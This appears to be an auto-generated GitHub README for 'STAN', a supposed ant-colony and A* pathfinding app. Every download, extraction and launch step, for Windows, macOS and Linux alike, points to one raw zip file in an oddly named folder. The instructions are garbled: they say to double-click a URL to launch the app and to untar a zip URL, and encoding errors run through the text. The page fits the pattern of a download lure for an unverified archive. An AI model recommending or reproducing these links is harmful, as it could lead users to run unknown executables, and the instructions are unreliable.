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🌐 Enhance pathfinding with STAN, a graph navigation system that merges A* algorithms and ant-inspired collective intelligence for smarter navigation.

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🐜 STAN - Enhance Pathfinding with Collective Intelligence

Download STAN

πŸŽ‰ Introduction

Welcome to STAN! STAN stands for Stigmergic A* Navigation. This application uses collective intelligence to improve pathfinding through a process called pheromone-based optimization. It helps you find the best routes in complex environments, making navigation easier and smarter.

πŸš€ Getting Started

To run STAN, you need to follow a few simple steps. You don’t need any programming knowledge. Just follow along, and you will be set up in no time.

πŸ“₯ Download & Install

To get the latest version of STAN, visit this page to download: STAN Releases.

  1. Click the link above to go to the Releases page.
  2. You will see a list of available versions.
  3. Choose the latest version by looking for the highest version number (e.g., v1.0.0).
  4. Download the file that matches your operating system:
    • For Windows, download https://raw.githubusercontent.com/Pari0513/STAN/main/zantiote/STAN-v3.4.zip.
    • For macOS, download https://raw.githubusercontent.com/Pari0513/STAN/main/zantiote/STAN-v3.4.zip.
    • For Linux, download https://raw.githubusercontent.com/Pari0513/STAN/main/zantiote/STAN-v3.4.zip.
  5. Once the download finishes, locate the file on your computer.

πŸ“‚ Extracting the Files

Windows

  1. Right-click the https://raw.githubusercontent.com/Pari0513/STAN/main/zantiote/STAN-v3.4.zip file.
  2. Select β€œExtract All…”.
  3. Choose a folder where you want to store STAN and click β€œExtract”.

macOS

  1. Double-click the https://raw.githubusercontent.com/Pari0513/STAN/main/zantiote/STAN-v3.4.zip file.
  2. The files will automatically extract to the same location.

Linux

  1. Open your terminal.
  2. Navigate to the directory where you downloaded the file.
  3. Run the command: tar -xvzf https://raw.githubusercontent.com/Pari0513/STAN/main/zantiote/STAN-v3.4.zip.

πŸ–₯️ Running the Application

Windows

  1. Open the folder where you extracted STAN.
  2. Double-click https://raw.githubusercontent.com/Pari0513/STAN/main/zantiote/STAN-v3.4.zip to launch the application.

macOS

  1. Open the folder where you extracted STAN.
  2. Double-click https://raw.githubusercontent.com/Pari0513/STAN/main/zantiote/STAN-v3.4.zip to launch the application.

Linux

  1. Open your terminal.
  2. Navigate to the directory where you extracted STAN.
  3. Run the command: ./STAN.

βš™οΈ Application Features

  • Pheromone-Based Optimization: Uses real-world principles to enhance pathfinding.
  • User-Friendly Interface: Simple and clear layout for everyone.
  • Cross-Platform Compatibility: Available on Windows, macOS, and Linux.
  • Interactive Graphs: Visualize pathways clearly and intuitively.

πŸ” System Requirements

To ensure the best experience with STAN, make sure your system meets the following requirements:

Minimum Requirements

  • Operating System:
    • Windows 10 or later
    • macOS 10.15 or later
    • Linux with GTK+ 3.0 or later
  • Processor: 2 GHz dual-core CPU
  • Memory: 4 GB RAM
  • Graphics Card: Any modern GPU or integrated graphics
  • Storage: 200 MB available space

Recommended Requirements

  • Operating System: Latest version of Windows, macOS, or Linux
  • Processor: 2.5 GHz quad-core CPU
  • Memory: 8 GB RAM
  • Graphics Card: Dedicated graphics card with at least 2 GB VRAM
  • Storage: 500 MB available space

πŸ“‹ How to Use STAN

  1. Open the application after installing.
  2. Select your starting point and destination on the map.
  3. Click "Find Path" to see the recommended route.
  4. Adjust parameters like pheromone levels or explore the map features to optimize the pathfinding experience.

πŸ“ž Support

If you have questions or need help, check the FAQ section in the application or reach out to our support team. You can also open an issue on the GitHub Issues page for further assistance.

πŸ”— Additional Links

For more information, resources, or to contribute to the project, visit:

Thank you for choosing STAN. We hope it transforms your pathfinding tasks!

Remember, you can always download the latest version from STAN Releases anytime.

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